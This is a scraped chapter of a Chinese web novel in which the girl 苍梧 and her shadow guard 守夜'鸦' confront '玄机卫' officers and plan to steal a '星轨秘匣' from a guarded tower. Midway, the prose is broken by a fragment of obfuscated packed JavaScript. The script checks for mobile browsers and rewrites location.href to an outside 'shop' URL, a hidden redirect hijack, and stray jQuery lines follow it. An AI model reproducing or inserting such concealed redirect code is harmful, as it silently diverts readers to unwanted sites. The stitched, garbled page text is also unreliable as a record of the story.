34. 幽笼少女与守夜‘鸦\’5

作品:《杀戮神的她(快穿)

    官道的尘土在午后剪影里浮动,混杂着辛劳汗水和远处传来的食物香气。


    苍梧依旧一身素衣,苍白的肤色、瘦弱的身躯,都难以掩藏她熠熠生辉的神采,那些见惯了被生活挤压的面庞的人,频频侧目。


    她的注意力被一个吹糖人的老匠人吸引,那焦黄糖稀在老人手中变幻出各种形状,在阳光下闪烁着诱人的光泽。


    她蹲在摊前,看得目不转睛,从褴褛的衣袖里摸出一枚不知从哪儿捡来的铜钱放在摊上,指着其中一个蝴蝶形状的糖人,“要这个。”


    她拿着晶莹的糖蝴蝶,转身继续朝城镇走去。城镇比官道旁更加拥挤和嘈杂。而苍梧像一尾误入喧闹的小鱼,在人群中穿梭。


    她对店铺里琳琅满目的商品兴趣缺缺,反而对墙角潮湿的青苔、瓦檐下结网的蜘蛛、甚至地上被踩扁的果核更感兴趣。


    她的异常,很快引起了异人的注意。


    一个贩卖古玩旧物的街角处有个穿着灰色长衫、眼神精烁的老者拦住了她。老者手中托着一个罗盘,罗盘上的指针正微微颤动,指向苍梧。


    “姑娘,”老者压低声音,眼中闪烁着贪婪,“老夫观你气韵非凡,似有灵物相随。可否借一步说话?老夫或许能为你解惑,亦有机缘相赠。”


    苍梧停下脚步,看着老者手中的罗盘,“灵物?”她伸出手指,似乎想去触碰那颤动的指针。


    “对啊对啊,请随老夫走。”老者眼中精光一闪,以为得计。突然,脖颈一凉!一股无形的杀意刺得他汗毛倒竖,他惊恐地抬眼,只见不远处屋檐的阴影下,一个全身漆黑、面容隐在兜帽下的身影正静静地“看”着他。


    老者的话戛然而止,冷汗瞬间浸湿了后背。他意识到这个看似单纯的女孩身边跟着一个极其可怕的存在。哪是什么灵物,简直是跟了个阎王爷!他干笑两声,连忙收起罗盘,后退几步,语无伦次道:“在,在下认错人了,姑娘恕罪,恕罪!”说完,几乎是连滚爬爬地挤进了人群,消失不见。


    苍梧看着老者逃窜的背影,眨了眨眼,回头望向守夜‘鸦’,不知何时,守夜‘鸦’离她距离又近了,“鸦,他好像很怕你,可你明明什么都没做呀?”


    当然会怕,任何觊觎自己目标的存在都该死,但那些警告是不会告诉苍梧的,“不知道。”


    当天二人找了一间客栈歇下,不算大,胜在舒适。


    梳洗好,苍梧渐渐闭上眼,守夜‘鸦’看她又打算一头湿发躺到白天,熟练地上前将人翻了个面,开始擦拭起来。


    入世的第一晚以无知无觉的姿态漫过,清晨拉起苍梧,行走在由守夜‘鸦’偏执地清扫出的“干净”道路上,走向注定无法平静的未来。


    暮色渐浓,苍梧停在一个卖女子妆奁首饰的摊子前,被一面边缘略有磕碰、却擦拭得极为干净的菱花铜镜吸引了目光。镜面映出她苍白模糊的脸庞,以及身后街角流动的人影。


    摊主是个眼神活络的中年妇人,见苍梧衣着破旧却气度不凡,尤其是那张脸配得上倾国倾城,便堆起笑脸:“姑娘好眼力!这虽是旧物,却是上好的云铜所铸,瞧,多透亮!买回去梳妆最是合用,只要三钱银子。”


    苍梧伸出手指,轻轻划过冰凉的镜面。镜中,她看到几个衣着明显不同于寻常百姓、腰间佩着制式短刀的男人正交换着眼神,不动声色地朝她这边靠拢。


    空气里有种不一样的“味道”。


    不是糖人的甜腻,也不是尘土和马粪的混杂气,像冬天里磨过的刀锋,悄悄混在暖烘烘的市井气息里。他们走路的样子,脚底板落地很轻,却又沉甸甸的,像是肚子里塞满了石头。他们的眼神,扫过街面,最后像粘蝇纸一样,黏在了背后。


    那几个人围了上来,不像街头痞子那样吵吵嚷嚷,试图触碰。为首的那个,既有分寸地停住了脚步,脸绷得像块冻硬的干粮,腰上同样挂着一块黑黢黢的铁牌,他的眼睛直勾勾地盯着苍梧身后的墙角阴影,好像能看穿砖石似的。


    苍梧意识到什么,同样转身,与此同时,那人开口了:


    “阁下,”他的声音也像干粮,又干又硬,“‘玄机卫’办事,请行个方便。”


    玄机卫?他们找的,是她的守夜‘鸦’?真奇怪。


    守夜‘鸦’没出声。


    那几个玄机卫的手都按在了腰间的刀柄上,很紧,指关节都白了。


    头领等了一下,没等到回应,脸色难看起来。他又开口,这次话里像是夹了别的情绪:“我家统领提及,若遇‘故人’,望能一叙。”


    故人?苍梧忍不住转过头看向那个头领,他的眼睛里不是单纯的凶狠,倒像是认出了什么,有点不敢相信,还有点忌惮。


    “你们认识我的侍卫?”苍梧隐去了守夜‘鸦’的真实身份信息,发问。


    刚说完,就感觉身后的阴影里有什么东西“绷”不住了,守夜‘鸦’的声音沙哑,像是被什么东西狠狠刺了一下,连带着周围的空气都跟着一颤。


    “不算认识,‘玄机卫’,呵,不过是那个女人的走狗。”声音里带着一种浓得化不开的恨意。


    那头领的脸一下就涨红了,像是受了极大的侮辱,又像是被说中了什么秘密,他猛地拔刀,喝道:“放肆!”


    可他刀还没完全举起来,一道乌光就从苍梧身边擦过,直冲他的喉咙!


    头领慌忙用刀挡开,“铛”的一声,火星子溅出来。他被打得退了一步,眼神又惊又怒,他死死盯着那片黑暗,胸口起伏,最后却咬着牙,对同伴摆了摆手。


    “好!今日之事,‘玄机卫’记下了!”他狠狠瞪了守夜‘鸦’一眼,又复杂地看了苍梧一眼,带着其他人飞快地退走了,消失在人群里。


    刚放下狠话的人却比在场的所有人跑得都快,这看起来倒是挺好笑的。


    苍梧也确实笑出了声。


    街角又恢复了热闹,好像什么都没发生过。


    “那个女人”会是谁呢?守夜‘鸦’貌似恨透了她,‘玄机卫’又很怕守夜‘鸦’……


    苍梧从怀里掏出守夜‘鸦’的钱袋,买下了刚刚的菱花铜镜,摊主笑开了花,“欢迎再来啊!”


    镜面凉凉的,照出苍梧模糊的脸,还有身后那片繁华的街景,她举起镜子,转了个角度,里面瞬间变换出一双苍凉的灰眸。


    “我不是还在吗。”


    苍梧的这份纵容,比任何质问都更让守夜‘鸦’心绪翻涌,她沉默地从阴影中伸出一只戴着黑色手套的手,接过了那面冰冷的铜镜。


    那面菱花铜镜被她揣在怀里,贴着皮肤,凉意一点点渗进来,在那片凉意中,她试图留住仅存的那点属于苍梧的体温。


    苍梧明白人类的恨意,守夜‘鸦’此刻的神情和林子里潜伏的野兽盯着猎物时的眼神一样。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16794209|190622||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >人间的街道很长,弯弯绕绕。苍梧跟着一种模糊的牵引往前走,越走,周围的屋舍越高,行人越少,穿着官服佩着刀的人越多,空气里那种冷硬的“官家味道”也越来越浓。


    抬头,能看见远处有几座特别高的塔楼,尖尖的顶,好像要戳进云里,塔楼所在的区域,被很高很厚的墙围着,墙上还有穿着亮闪闪盔甲的人来回走动。那里很安静,静得有点过分,连风经过那里,好像都变得小心翼翼。


    “就是那了。”苍梧停下脚步,望着高墙后的塔尖,低声说,“声音很吵的地方。”


    那里有很多很多细微的“声音”,不是人说话,更像是很多很多根绷紧的丝线在同时振动,发出只有苍梧能听见的嗡鸣。这些丝线都指向塔楼的深处,缠绕在一个跳动的点,像心脏一样,噗通,噗通,带着一种奇异的规律。


    符合任务里“星轨秘匣”的描述。


    正看着,忽然觉得旁边巷口有道目光落在身上。


    苍梧转过头,巷口站着一个人,穿着普通的青色布衣,像个读书人,年纪不大,面容清秀。她见苍梧看她,也不躲闪,反而微微笑了一下,点了点头。


    很奇怪。她身上的气息很淡,跟守夜‘鸦’有点像,但又不太一样。如果说守夜‘鸦’是孤寂的星辰,她给人的感觉更像光滑的玉石。


    她也想要“星轨秘匣”吗?


    她只是抬起手,用手指轻轻点了点自己的太阳穴,然后又指了指高墙内的塔楼方向。做完这个动作,她转身就消失在巷子深处,像一滴水融进了河里。


    苍梧眨了眨眼,这个人是在告诉自己,她也知道塔楼里的“秘密”?


    守夜‘鸦’没动,但苍梧知道她也看见了,拢了拢新买的外袍,看来,她不喜欢那个“读书人”。


    苍梧拍了拍守夜‘鸦’,自信满满:“别担心,我抢得过那人。”


    “……行。”


    月圆之夜快到了,天上的月亮一天比一天圆。


    “林子里的老树说过,月圆的时候,很多东西的“锁”都会变松。包括动物,包括水,包括,一些看不见的屏障。”


    苍梧走到离高墙不远的一条河边,河水浑浊,慢悠悠地流着。


    墙根下,有一处地方,河水通过一个铁栅栏流进流出,发出哗啦哗啦的水声。


    风里带来墙内隐约的说话声和脚步声,那些守卫的“味道”很怪。


    苍梧蹲在河边,水里的倒影歪歪扭扭的。她从随身的小包袱里掏出其中一个宝贝——一株干枯的暗紫色“睡睡藤”。


    “鸦,”苍梧对着水面,水面映不出她,但也知道她正认真听着,“月圆那天,我们把‘梦’送给里面那些走来走去的人好不好?让他们安静地睡一觉。”


    苍梧把“睡睡藤”放在鼻尖闻了闻,没什么味道。到时候,只要把它揉碎了,就能让闻到的人做很多的梦,醒不过来。


    “然后,你进去拿一个‘盒子’。”苍梧继续说,“它被很多‘线’捆着。但你可以穿过那些‘线’,这是我们的‘游戏’。”


    守夜‘鸦’终于开口:“只有我们两个人玩的游戏吗?”


    “没错。”至于那个“读书人”,还有藏在别处的“味道”无所谓了,“星轨秘匣”她一定要拿到。


    河水哗哗地流着,带着人间的污浊流向不知道的远方。


    月圆之夜,很快就会来了。